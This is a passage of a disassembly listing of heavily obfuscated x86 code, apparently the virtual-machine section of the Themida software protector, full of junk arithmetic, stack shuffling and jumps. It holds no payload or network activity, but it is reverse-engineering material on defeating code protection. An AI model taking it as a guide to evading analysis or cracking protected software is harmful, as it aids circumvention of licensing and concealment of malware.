		jmp	loc_553AF6
; ---------------------------------------------------------------------------


loc_558F0F:				; CODE XREF: Themida_:00555600j
		xchg	edi, [esp]
		jmp	loc_55C94E
; ---------------------------------------------------------------------------


loc_558F17:				; CODE XREF: Themida_:00551CEAj
		add	esi, 0FFFFFFFFh
		add	esi, 8984800Ah
		add	edi, esi
		jmp	loc_5593B0
; ---------------------------------------------------------------------------


loc_558F27:				; CODE XREF: Themida_:00555534j
		add	ebp, esi
		jmp	loc_558000
; ---------------------------------------------------------------------------


loc_558F2E:				; CODE XREF: Themida_:005533EFj
		pop	ebx
		pop	ebp
		jmp	loc_558C62
; ---------------------------------------------------------------------------
		push	4011h
		mov	[esp], edx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558F42:				; CODE XREF: Themida_:0055B8D5j
		push	ebp
		jmp	loc_55C05A
; ---------------------------------------------------------------------------


loc_558F48:				; CODE XREF: Themida_:0055750Dj
		push	small 0
		push	dx
		mov	dh, 9
		jmp	loc_55B86E
; ---------------------------------------------------------------------------


loc_558F55:				; CODE XREF: Themida_:0055254Aj
		pop	esi
		jmp	loc_55C17C
; ---------------------------------------------------------------------------


loc_558F5B:				; CODE XREF: Themida_:0055305Bj
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_5534AE
; ---------------------------------------------------------------------------


loc_558F66:				; CODE XREF: Themida_:0055432Fj
		pop	ebp
		mov	ebp, edx
		pop	edx
		sub	ebx, 5D0D1AE6h
		add	ebx, 26594AB4h
		add	ebx, ebp
		push	ecx
		mov	ecx, 26594AB4h
		jmp	loc_55A5F7
; ---------------------------------------------------------------------------


loc_558F83:				; CODE XREF: Themida_:00552B13j
		mov	ch, dh
		jmp	loc_553CFB
; ---------------------------------------------------------------------------


loc_558F8A:				; CODE XREF: Themida_:00559AB2j
		or	ecx, 399A4C6Fh
		add	ecx, 0A182D555h
		sub	eax, ecx
		jmp	loc_555B67
; ---------------------------------------------------------------------------


loc_558F9D:				; CODE XREF: Themida_:00555054j
		push	5F4Fh
		mov	[esp], edx
		pop	ebp
		pop	edx
		pop	edi
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	4FE5h
		mov	[esp], ebx
		push	eax
		jmp	loc_55988D
; ---------------------------------------------------------------------------


loc_558FCB:				; CODE XREF: Themida_:00559AC1j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_556EDB
; ---------------------------------------------------------------------------


loc_558FDE:				; CODE XREF: Themida_:00552725j
		sub	al, 31h
		add	al, 46h
		jmp	loc_556AA8
; ---------------------------------------------------------------------------


loc_558FE7:				; CODE XREF: Themida_:00552AB1j
		mov	ebp, [esp]
		jmp	loc_55CD76
; ---------------------------------------------------------------------------


loc_558FEF:				; CODE XREF: Themida_:00553DF4j
		push	esi
		mov	esi, esp
		jmp	loc_55CDA6
; ---------------------------------------------------------------------------


loc_558FF7:				; CODE XREF: Themida_:00556D8Ej
		shr	ebp, 3
		shl	ebp, 4
		jmp	loc_5525D7
; ---------------------------------------------------------------------------


loc_559002:				; CODE XREF: Themida_:0055BB94j
		push	esi
		jmp	loc_551A4E
; ---------------------------------------------------------------------------


loc_559008:				; CODE XREF: Themida_:00558C02j
		or	edx, 45693690h
		sub	edx, 232BEDD4h
		jmp	loc_558ADF
; ---------------------------------------------------------------------------


loc_559019:				; CODE XREF: Themida_:005563B2j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	73E8h
		mov	[esp], esp
		jmp	loc_555283
; ---------------------------------------------------------------------------


loc_55902D:				; CODE XREF: Themida_:00556826j
		or	ecx, 76CA2E97h
		add	ecx, 8121D105h
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 33335C67h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		dec	eax
		shl	eax, 7
		xor	eax, 99AE3302h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 4714h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5524E2
; ---------------------------------------------------------------------------


loc_55908A:				; CODE XREF: Themida_:005542B2j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55908F:				; CODE XREF: Themida_:00552274j
		add	esi, 73B3446Ah
		jmp	loc_551CD8
; ---------------------------------------------------------------------------


loc_55909A:				; CODE XREF: Themida_:00554491j
		push	dword ptr [edi+eax*4]
		push	ebp
		push	edx
		mov	edx, 319D2BEFh
		jmp	loc_55A30D
; ---------------------------------------------------------------------------


loc_5590A9:				; CODE XREF: Themida_:0055C8E7j
		btc	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5590B4:				; CODE XREF: Themida_:005586A5j
		and	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 0AE00717h
		and	ebx, ecx
		pop	ecx
		sub	ebx, 44452EE5h
		add	edi, ebx
		pop	ebx
		jmp	loc_55A7D8
; ---------------------------------------------------------------------------


loc_5590CE:				; CODE XREF: Themida_:0055A013j
		sub	dh, 11h
		add	al, dh
		pop	edx
		jmp	loc_55CEE3
; ---------------------------------------------------------------------------


loc_5590D9:				; CODE XREF: Themida_:0055A84Aj
		add	esp, 4
		push	ebp
		mov	ebp, 2F341B44h
		xor	ebp, 34B0F6Dh
		add	ebp, 772D7410h
		push	eax
		mov	eax, 548B68DFh
		shr	eax, 3
		not	eax
		and	eax, 44F84A57h
		xor	eax, 183B758Dh
		add	ebp, eax
		pop	eax
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_559843
; ---------------------------------------------------------------------------


loc_559117:				; CODE XREF: Themida_:0055C568j
		pop	dword ptr [esp]
		jmp	loc_555BB8
; ---------------------------------------------------------------------------


loc_55911F:				; CODE XREF: Themida_:00554E8Ej
		dec	eax
		jmp	loc_55569E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	6740h
		mov	[esp], ecx
		jmp	loc_558B0D
; ---------------------------------------------------------------------------


loc_55913B:				; CODE XREF: Themida_:0055AF20j
		mov	esp, [esp]
		jmp	loc_55C36B
; ---------------------------------------------------------------------------


loc_559143:				; CODE XREF: Themida_:005537EDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5536E3
; ---------------------------------------------------------------------------


loc_559183:				; CODE XREF: Themida_:00553AE6j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_55464C
; ---------------------------------------------------------------------------


loc_559196:				; CODE XREF: Themida_:00558BC8j
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		inc	ch
		push	eax
		mov	al, 4Dh
		sub	ch, al
		pop	eax
		add	al, 18h
		add	al, ch
		sub	al, 18h
		push	dword ptr [esp]
		jmp	loc_554522
; ---------------------------------------------------------------------------


loc_5591B9:				; CODE XREF: Themida_:0055CBCCj
		add	edx, 0ED94C34h
		add	edx, eax
		push	eax
		mov	eax, 0ED94C34h
		sub	edx, eax
		jmp	loc_5529C6
; ---------------------------------------------------------------------------


loc_5591CE:				; CODE XREF: Themida_:00554166j
		not	dl
		jmp	loc_552448
; ---------------------------------------------------------------------------


loc_5591D5:				; CODE XREF: Themida_:0055CD71j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		push	edx
		mov	edx, 6C6F0DE9h
		mov	edi, 99407E38h
		jmp	loc_55D0E8
; ---------------------------------------------------------------------------


loc_5591F3:				; CODE XREF: Themida_:0055C3EEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55A99C
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_555E2F
; ---------------------------------------------------------------------------


loc_55920A:				; CODE XREF: Themida_:005523D3j
		mov	[esp], edi
		push	esp
		jmp	loc_5582B9
; ---------------------------------------------------------------------------


loc_559213:				; CODE XREF: Themida_:00557BA6j
		inc	ebx
		jmp	loc_558613
; ---------------------------------------------------------------------------


loc_559219:				; CODE XREF: Themida_:00552759j
		pop	ecx
		sub	eax, 19CB61D1h
		add	eax, esi
		push	ebx
		mov	ebx, 773537F0h
		or	ebx, 27360C69h
		add	ebx, 0A29421D8h
		add	eax, ebx
		pop	ebx
		pop	esi
		sub	eax, 2E760280h
		add	eax, ebx
		add	eax, 2E760280h
		sub	eax, 38597804h
		push	429Dh
		mov	[esp], edx
		jmp	loc_55375F
; ---------------------------------------------------------------------------


loc_559255:				; CODE XREF: Themida_:00557DF9j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55B724
; ---------------------------------------------------------------------------


loc_559275:				; CODE XREF: Themida_:0055266Dj
		add	esi, 2EC1BF9h
		jmp	loc_557529
; ---------------------------------------------------------------------------


loc_559280:				; CODE XREF: Themida_:0055A564j
		sub	esi, 5AB35EA2h
		pop	edi
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_55BE89
; ---------------------------------------------------------------------------


loc_5592A0:				; CODE XREF: Themida_:0055D592j
		add	esi, 3AB61FBCh
		add	esi, 3BB45FB0h
		jmp	loc_554F41
; ---------------------------------------------------------------------------


loc_5592B1:				; CODE XREF: Themida_:00552AF5j
		mov	ecx, [esp]
		jmp	loc_553669
; ---------------------------------------------------------------------------


loc_5592B9:				; CODE XREF: Themida_:005539A3j
		add	ebx, ebp
		pop	ebp
		sub	ebx, 0A85B6DB7h
		xor	ebp, ebx
		pop	ebx
		sub	ebp, 2A9C3666h
		or	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5592D4:				; CODE XREF: Themida_:005553A1j
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_55D9DA
; ---------------------------------------------------------------------------


loc_5592E1:				; CODE XREF: Themida_:00552ED0j
		pop	edx
		sub	bl, al
		sub	bl, 0F8h
		sub	bl, 29h
		push	cx
		push	ebx
		mov	bh, 80h
		mov	cl, bh
		pop	ebx
		jmp	loc_55C3AA
; ---------------------------------------------------------------------------


loc_5592F7:				; CODE XREF: Themida_:00554860j
		add	ecx, 7E4B710Ah
		jmp	loc_556CFB
; ---------------------------------------------------------------------------


loc_559302:				; CODE XREF: Themida_:0055D8CEj
		push	ecx
		mov	ecx, 493E6C5Ch
		shr	ecx, 8
		and	ecx, 952053Bh
		not	ecx
		sub	ecx, 0F917D872h
		add	eax, ecx
		pop	ecx
		add	eax, ecx
		sub	eax, 6A82365h
		push	edi
		mov	edi, 319D4E4Dh
		not	edi
		sub	edi, 3CEC521Fh
		push	ebx
		mov	ebx, 1
		sub	edi, ebx
		pop	ebx
		jmp	loc_55C358
; ---------------------------------------------------------------------------


loc_55933F:				; CODE XREF: Themida_:00552AFFj
		mov	[esp], ebx
		mov	ebx, 3E7C3C33h
		push	edx
		push	ebp
		mov	ebp, 45C651E7h
		sub	ebp, 348E1F38h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55312F
; ---------------------------------------------------------------------------


loc_55936F:				; CODE XREF: Themida_:00558703j
		pop	ecx
		add	esp, 4
		dec	edi
		push	esi
		mov	esi, 5E747B99h
		and	edi, esi
		pop	esi
		jmp	loc_553BC7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55952E
; ---------------------------------------------------------------------------


loc_55938B:				; CODE XREF: Themida_:0055AE63j
		push	ebx
		mov	ebx, 4
		add	edi, 7E11170Fh
		add	edi, ebx
		sub	edi, 7E11170Fh
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 2
		jmp	loc_553E0C
; ---------------------------------------------------------------------------


loc_5593B0:				; CODE XREF: Themida_:00558F22j
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	ecx, 5F6B2E80h
		push	eax
		mov	eax, esp
		jmp	loc_559FBC
; ---------------------------------------------------------------------------


loc_5593C6:				; CODE XREF: Themida_:00559A21j
		mov	esi, 4
		jmp	loc_55D0D4
; ---------------------------------------------------------------------------


loc_5593D0:				; CODE XREF: Themida_:0055A54Fj
		add	edx, ebp
		jmp	loc_55CE08
; ---------------------------------------------------------------------------


loc_5593D7:				; CODE XREF: Themida_:0055D31Cj
		push	cx
		push	ebx
		jmp	loc_555A7C
; ---------------------------------------------------------------------------


loc_5593DF:				; CODE XREF: Themida_:0055D146j
		push	ecx
		jmp	loc_556CBD
; ---------------------------------------------------------------------------


loc_5593E5:				; CODE XREF: Themida_:00553916j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_559C91
; ---------------------------------------------------------------------------


loc_5593F1:				; CODE XREF: Themida_:005588FFj
		pop	ebx
		pop	ecx
		xor	dl, cl
		push	dword ptr [esp]
		pop	ecx
		push	850h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55B61D
; ---------------------------------------------------------------------------


loc_559408:				; CODE XREF: Themida_:0055210Cj
		add	ebx, 73944B7Dh
		dec	ebx
		sub	ebx, 0D027E391h
		add	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_55B705
; ---------------------------------------------------------------------------


loc_55941E:				; CODE XREF: Themida_:00554619j
		sub	dword ptr [esp], 316F57C2h
		pop	ebx
		add	ebx, 316F57C2h
		pop	ebp
		add	ebx, edi
		mov	[ebx], al
		pop	ebx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559437:				; CODE XREF: Themida_:00555AFCj
		mov	esi, 44C93194h
		add	[esp+4], esi
		jmp	loc_5553A6
; ---------------------------------------------------------------------------


loc_559445:				; CODE XREF: Themida_:005578F7j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_551B8D
; ---------------------------------------------------------------------------


loc_55944E:				; CODE XREF: Themida_:0055D27Fj
		mov	[esp], ecx
		push	ebp
		push	esi
		jmp	loc_558928
; ---------------------------------------------------------------------------


loc_559458:				; CODE XREF: Themida_:00552FCEj
		add	esp, 4
		jmp	loc_554BBC
; ---------------------------------------------------------------------------


loc_559463:				; CODE XREF: Themida_:00555BA5j
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		pop	eax
		pop	edi
		push	10EAh
		jmp	loc_556EB6
; ---------------------------------------------------------------------------


loc_559498:				; CODE XREF: Themida_:0055DBDDj
		pop	edx
		mov	dh, ch
		pop	cx
		push	eax
		mov	al, 13h
		neg	al
		or	al, 0D6h
		jmp	loc_55981C
; ---------------------------------------------------------------------------


loc_5594A9:				; CODE XREF: Themida_:0055AA1Aj
		push	eax
		xchg	edi, [esp]
		xchg	esi, edi
		not	esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	6863h
		mov	[esp], ebx
		jmp	loc_554A06
; ---------------------------------------------------------------------------


loc_5594D6:				; CODE XREF: Themida_:005581B7j
		pop	esp
		add	ecx, 2AB32C79h
		add	ecx, edx
		jmp	loc_554B97
; ---------------------------------------------------------------------------


loc_5594E4:				; CODE XREF: Themida_:0055429Ej
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_55743C
; ---------------------------------------------------------------------------


loc_5594F5:				; CODE XREF: Themida_:00551FB8j
		dec	cl
		add	cl, 9Dh
		xor	al, cl
		pop	ecx
		push	1CABh
		mov	[esp], eax
		mov	al, 88h
		and	al, 6Eh
		not	al
		shr	al, 6
		jmp	loc_55707C
; ---------------------------------------------------------------------------


loc_559513:				; CODE XREF: Themida_:0055B952j
		push	ebp
		mov	ebp, 360711B7h
		and	ebp, 43CB3150h
		shr	ebp, 6
		inc	ebp
		and	ebp, 91E0F06h
		jmp	loc_5575A6
; ---------------------------------------------------------------------------


loc_55952E:				; CODE XREF: Themida_:00559386j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		push	7E2F509Ah
		pop	edx
		or	edx, 3CC873FDh
		push	ecx
		mov	ecx, 238821F6h
		neg	ecx
		jmp	loc_555023
; ---------------------------------------------------------------------------


loc_559556:				; CODE XREF: Themida_:005598FDj
		mov	esi, 66A05861h
		and	ecx, esi
		pop	esi
		or	ecx, 544216E7h
		shl	ecx, 6
		jmp	loc_553C1F
; ---------------------------------------------------------------------------


loc_55956C:				; CODE XREF: Themida_:005569F4j
		mov	ch, ah
		jmp	loc_55D5B1
; ---------------------------------------------------------------------------


loc_559573:				; CODE XREF: Themida_:0055BD49j
		mov	edi, 63C7171Ah
		dec	edi
		sub	edi, 126424D7h
		or	edi, 28D7156Bh
		shl	edi, 6
		and	edi, 46B26083h
		jmp	loc_557567
; ---------------------------------------------------------------------------


loc_559593:				; CODE XREF: Themida_:0055402Aj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5595A1:				; CODE XREF: Themida_:00551CD3j
		push	esi
		mov	esi, 5A32610Fh
		shr	esi, 5
		shl	esi, 6
		shr	esi, 8
		xor	esi, 0B464C0h
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55611B
; ---------------------------------------------------------------------------


loc_5595CA:				; CODE XREF: Themida_:0055AA26j
		push	eax
		mov	eax, 205649D9h
		neg	eax
		shl	eax, 1
		and	eax, 78A42CA5h
		push	esi
		mov	esi, 38002C00h
		sub	eax, esi
		pop	esi
		add	edx, 1AE0657Ah
		jmp	loc_55C044
; ---------------------------------------------------------------------------


loc_5595ED:				; CODE XREF: Themida_:0055D6AEj
		push	esi
		jmp	loc_5575CF
; ---------------------------------------------------------------------------


loc_5595F3:				; CODE XREF: Themida_:0055D2CEj
		pop	ebp
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 69C33C47h
		sub	eax, ebx
		add	eax, 69C33C47h
		pop	ebx
		add	eax, ebx
		jmp	loc_552745
; ---------------------------------------------------------------------------


loc_559613:				; CODE XREF: Themida_:00553397j
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_558435
; ---------------------------------------------------------------------------


loc_55961E:				; CODE XREF: Themida_:0055A7BDj
		xor	ebp, 4211515Fh
		add	ecx, 45110114h
		jmp	loc_55C4A8
; ---------------------------------------------------------------------------


loc_55962F:				; CODE XREF: Themida_:00555ABEj
		pop	esi
		jmp	loc_55CE2C
; ---------------------------------------------------------------------------


loc_559635:				; CODE XREF: Themida_:0055D994j
		push	eax
		jmp	loc_5579C7
; ---------------------------------------------------------------------------


loc_55963B:				; CODE XREF: Themida_:00551E21j
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, esp
		jmp	loc_55A658
; ---------------------------------------------------------------------------


loc_559646:				; CODE XREF: Themida_:00554B2Cj
		pop	esi
		jmp	loc_55CA26
; ---------------------------------------------------------------------------


loc_55964C:				; CODE XREF: Themida_:0055AFE6j
		add	edi, 4
		jmp	loc_558CC3
; ---------------------------------------------------------------------------


loc_559657:				; CODE XREF: Themida_:00556022j
		pop	edi
		jmp	loc_55A692
; ---------------------------------------------------------------------------


loc_55965D:				; CODE XREF: Themida_:0055DCA0j
		sub	dword ptr [esp+4], 0B26361Dh
		pop	ebp
		add	dword ptr [esp], 7F93463Ah
		sub	[esp], eax
		sub	dword ptr [esp], 7F93463Ah
		push	ebp
		push	edi
		push	ebp
		jmp	loc_554176
; ---------------------------------------------------------------------------


loc_55967F:				; CODE XREF: Themida_:005545FDj
		and	dh, 0DEh
		and	dh, 0D8h
		sub	dh, 72h
		and	dh, 2Dh
		sub	dh, 2
		jmp	loc_55D367
; ---------------------------------------------------------------------------


loc_559693:				; CODE XREF: Themida_:0055BD29j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55C6F6
; ---------------------------------------------------------------------------


loc_5596A2:				; CODE XREF: Themida_:005521C9j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_552B66
; ---------------------------------------------------------------------------


loc_5596B8:				; CODE XREF: Themida_:0055BD23j
		xor	al, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		jmp	loc_55770C
; ---------------------------------------------------------------------------


loc_5596C9:				; CODE XREF: Themida_:0055845Dj
		push	ebx
		mov	ebx, 5770BF1h
		sub	edi, ebx
		pop	ebx
		push	edx
		push	ebx
		mov	ebx, 0
		mov	edx, ebx
		pop	ebx
		jmp	loc_5569B8
; ---------------------------------------------------------------------------


loc_5596E1:				; CODE XREF: Themida_:0055CF2Cj
		xchg	edx, edi
		shl	edi, 8
		and	edi, 6C2A27A0h
		or	edi, 7DF314BAh
		xor	edi, 7DFB37BEh
		add	ecx, edi
		jmp	loc_55267B
; ---------------------------------------------------------------------------


loc_5596FF:				; CODE XREF: Themida_:005580A8j
		add	edx, 4
		jmp	loc_55D1D6
; ---------------------------------------------------------------------------


loc_55970A:				; CODE XREF: Themida_:0055DC04j
		push	ebx
		mov	bh, 9Dh
		jmp	loc_5543D2
; ---------------------------------------------------------------------------


loc_559712:				; CODE XREF: Themida_:0055BBD0j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 38FD25CDh
		jmp	loc_557C0B
; ---------------------------------------------------------------------------


loc_559725:				; CODE XREF: Themida_:005565C0j
		push	ecx
		mov	ecx, esp
		jmp	loc_5545A0
; ---------------------------------------------------------------------------


loc_55972D:				; CODE XREF: Themida_:00557A73j
		dec	eax
		xor	eax, 2BE832DDh
		add	esi, eax
		jmp	loc_554CF8
; ---------------------------------------------------------------------------


loc_55973A:				; CODE XREF: Themida_:0055568Dj
		add	edx, 42923569h
		sub	ebp, edx
		pop	edx
		pop	edx
		jmp	loc_554EFA
; ---------------------------------------------------------------------------


loc_559749:				; CODE XREF: Themida_:00555BEEj
		pop	edi
		and	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559753:				; CODE XREF: Themida_:005525B3j
		pop	ebx
		neg	dword ptr [edi+20h]
		shr	dword ptr [edi+20h], 7
		push	2810h
		mov	[esp], edx
		mov	edx, 20h
		add	edx, edi
		xor	dword ptr [edx], 7975A65h
		pop	edx
		jmp	loc_55A779
; ---------------------------------------------------------------------------


loc_559776:				; CODE XREF: Themida_:00556489j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_553BD8
; ---------------------------------------------------------------------------


loc_559784:				; CODE XREF: Themida_:00553F10j
		neg	eax
		inc	eax
		and	eax, 7EBF035Ah
		push	0
		sub	[esp], eax
		jmp	loc_553BB3
; ---------------------------------------------------------------------------


loc_559799:				; CODE XREF: Themida_:00551BAFj
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_555F9F
; ---------------------------------------------------------------------------


loc_5597AC:				; CODE XREF: Themida_:0055AE00j
		xchg	dx, [esp]
		mov	ax, [esp]
		jmp	loc_558969
; ---------------------------------------------------------------------------


loc_5597B9:				; CODE XREF: Themida_:0055C69Cj
		mov	edx, 21911533h
		add	esi, edx
		pop	edx
		sub	esi, 21E14816h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		push	ebp
		jmp	loc_55C24F
; ---------------------------------------------------------------------------


loc_5597DE:				; CODE XREF: Themida_:00556B5Fj
		push	edx
		mov	edx, 0A6E7FA3Eh
		add	ebp, edx
		jmp	loc_55C10E
; ---------------------------------------------------------------------------


loc_5597EB:				; CODE XREF: Themida_:005581E6j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 68273C93h
		and	edi, 20496D08h
		push	76EBh
		mov	[esp], eax
		mov	eax, 7BEA2EBEh
		or	eax, 173D790Dh
		push	ebp
		mov	ebp, 50907317h
		add	eax, ebp
		jmp	loc_557747
; ---------------------------------------------------------------------------


loc_55981C:				; CODE XREF: Themida_:005594A4j
		sub	al, 0D2h
		and	dh, al
		pop	eax
		xor	dh, 63h
		jmp	loc_55B4F4
; ---------------------------------------------------------------------------


loc_559829:				; CODE XREF: Themida_:00555B16j
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		xchg	esi, edi
		xor	edi, 0D1CEE353h
		jmp	loc_551F2C
; ---------------------------------------------------------------------------


loc_55983C:				; CODE XREF: Themida_:00552AC1j
		mov	bh, 29h
		jmp	loc_55D44A
; ---------------------------------------------------------------------------


loc_559843:				; CODE XREF: Themida_:00559112j
		xor	ecx, [esp]
		mov	esp, [esp]
		idiv	cx
		push	small 49D4h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5577B6
; ---------------------------------------------------------------------------


loc_55985C:				; CODE XREF: Themida_:00553193j
		mov	ecx, [esp]
		jmp	loc_556A31
; ---------------------------------------------------------------------------


loc_559864:				; CODE XREF: Themida_:00557606j
		add	ecx, 127DAACh
		jmp	loc_55B0F4
; ---------------------------------------------------------------------------


loc_55986F:				; CODE XREF: Themida_:00553BECj
		jmp	loc_552CF8
; ---------------------------------------------------------------------------


loc_559874:				; CODE XREF: Themida_:00559CEEj
		mov	ebx, [esp]
		jmp	loc_55A7F9
; ---------------------------------------------------------------------------


loc_55987C:				; CODE XREF: Themida_:00553D3Bj
		mov	ebp, edi
		pop	edi
		push	85F471EDh
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55323A
; ---------------------------------------------------------------------------


loc_55988D:				; CODE XREF: Themida_:00558FC6j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_551E87
; ---------------------------------------------------------------------------


loc_5598A2:				; CODE XREF: Themida_:005556B2j
		pop	esi
		add	ebx, eax
		jmp	loc_552230
; ---------------------------------------------------------------------------


loc_5598AA:				; CODE XREF: Themida_:00552D03j
		add	esi, 4
		jmp	loc_556493
; ---------------------------------------------------------------------------


loc_5598B5:				; CODE XREF: Themida_:0055D3F9j
		mov	dx, 763Dh
		sub	ax, dx
		jmp	loc_553B1A
; ---------------------------------------------------------------------------


loc_5598C1:				; CODE XREF: Themida_:0055CB2Bj
		mov	edx, 2AE1E87h
		inc	edx
		sub	edx, 2AE1E84h
		add	esi, edx
		jmp	loc_55665B
; ---------------------------------------------------------------------------


loc_5598D4:				; CODE XREF: Themida_:0055C4FBj
		push	14F7h
		mov	[esp], edi
		push	ebx
		jmp	loc_558BD5
; ---------------------------------------------------------------------------


loc_5598E2:				; CODE XREF: Themida_:00556614j
		sub	ecx, 0A5BCFD2Fh
		sub	edi, ecx
		jmp	loc_553203
; ---------------------------------------------------------------------------


loc_5598EF:				; CODE XREF: Themida_:005549D7j
		mov	ebp, 21D3745Dh
		mov	ecx, 115F1B43h
		xor	ecx, ebp
		pop	ebp
		push	esi
		jmp	loc_559556
; ---------------------------------------------------------------------------


loc_559902:				; CODE XREF: Themida_:00552426j
		pop	ebx
		push	ecx
		mov	ecx, 4BC67756h
		and	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 23B0658Dh
		push	esi
		mov	esi, 7CC53D26h
		sub	edi, esi
		pop	esi
		sub	edi, 0D9A0239h
		sub	edi, 580D0FE8h
		xor	esi, edi
		pop	edi
		push	edi
		mov	edi, esi
		jmp	loc_555646
; ---------------------------------------------------------------------------


loc_559932:				; CODE XREF: Themida_:0055C5BAj
		sub	al, 0E2h
		add	al, cl
		add	al, 0E2h
		push	bx
		mov	bl, 4Ah
		sub	al, bl
		pop	bx
		pop	ecx
		push	ecx
		jmp	loc_552C08
; ---------------------------------------------------------------------------


loc_559947:				; CODE XREF: Themida_:00555933j
		mov	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55636E
; ---------------------------------------------------------------------------


loc_55995B:				; CODE XREF: Themida_:00551B47j
		mov	eax, 0FFFFFFFFh
		sub	[edi+24h], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	19EEh
		mov	[esp], ecx
		mov	ecx, esp
		push	0C65h
		jmp	loc_55A587
; ---------------------------------------------------------------------------


loc_559984:				; CODE XREF: Themida_:00555AD6j
		add	esp, 4
		and	ebx, edi
		jmp	loc_5560F2
; ---------------------------------------------------------------------------


loc_559991:				; CODE XREF: Themida_:00552BD6j
		or	ecx, 5E287CABh
		dec	ecx
		jmp	loc_55B8A1
; ---------------------------------------------------------------------------


loc_55999D:				; CODE XREF: Themida_:005549C8j
		add	esi, 7DA04BB2h
		sub	esi, 1
		neg	esi
		shl	esi, 1
